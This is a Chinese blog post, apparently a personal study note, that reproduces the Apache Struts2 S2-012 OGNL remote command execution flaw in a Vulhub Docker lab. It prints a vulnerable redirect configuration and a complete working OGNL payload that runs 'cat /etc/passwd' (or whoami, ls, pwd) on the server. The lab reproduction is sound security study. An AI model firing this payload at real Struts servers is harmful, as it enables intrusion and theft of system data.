【漏洞复现】Struts2-12远程命令执行

此为本人漏洞学习过程。

影响版本: 2.1.0 - 2.3.13

漏洞详情: S2-012 - Apache Struts 2 Wiki - Apache Software Foundation


关于

Status2:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞s2-012

与s2-001相似,可参考001的漏洞复现过程

docker—vulhub—struts2漏洞复现详细过程(s2-001/007/008)_公子YA的博客-CSDN博客_docker struts2

一、环境准备

CentOS7 :

安装Vulhub

参考: Vulhub - Docker-Compose file for vulnerability environment

到下图这步拉取Vulhub即可

此时的虚拟机,克隆失败不要紧,多试几次,一般都是网络问题,ping github.com 能通没啥问题的话就没问题


 

Window10:已安装好BurpSuit

(虚拟机centOS必须要与Win10互ping能通,不然Win10不能访问到该页面,.net模式下互通方法虚拟机配置Nat网络模式和主机互通_J_Unknown的博客-CSDN博客,要是方法不管用,将Win10的网卡重启一下就行)

二、步骤

1.准备工作

 cd vulhub/struts2    切换到struts2

ls    显示当前目录    我们需要的环境是s2-012  cd s2-012     

 ls  能看到s2-012下面有个文档说明

cat   README.zh-cn.md    查看中文说明文档

文档最后的图片也在目录里面可以找到,打开

 文档阅读完毕,可以按照文档提示开始动手

2.按照文档进行测试环境搭建

记得先启动dockers     systemctl start docker

docker-compose build   (可能会报错,再运行一遍就可以了)

docker-compose up -d

 

 查看一下已启动的容器看看是否启动成功-----已成功

3.访问页面

 查看centOS的IP    ifconfig

 

在Win10上访问  192.168.255.134:8080

 启动BurpSuite准备抓包

查看文档,复制粘贴poc到框框内然后点击Submit,开始抓包

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

 结果与文档描述一致

其中插入的执行命令为cat  /etc/passwd

也可换成whoami  或 ls  或者   pwd 

即将  "cat", "/etc/passwd"  换为   "whoami"  或  "ls"  或者  "pwd"

抓包图分别如下

 漏洞复现完毕!


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值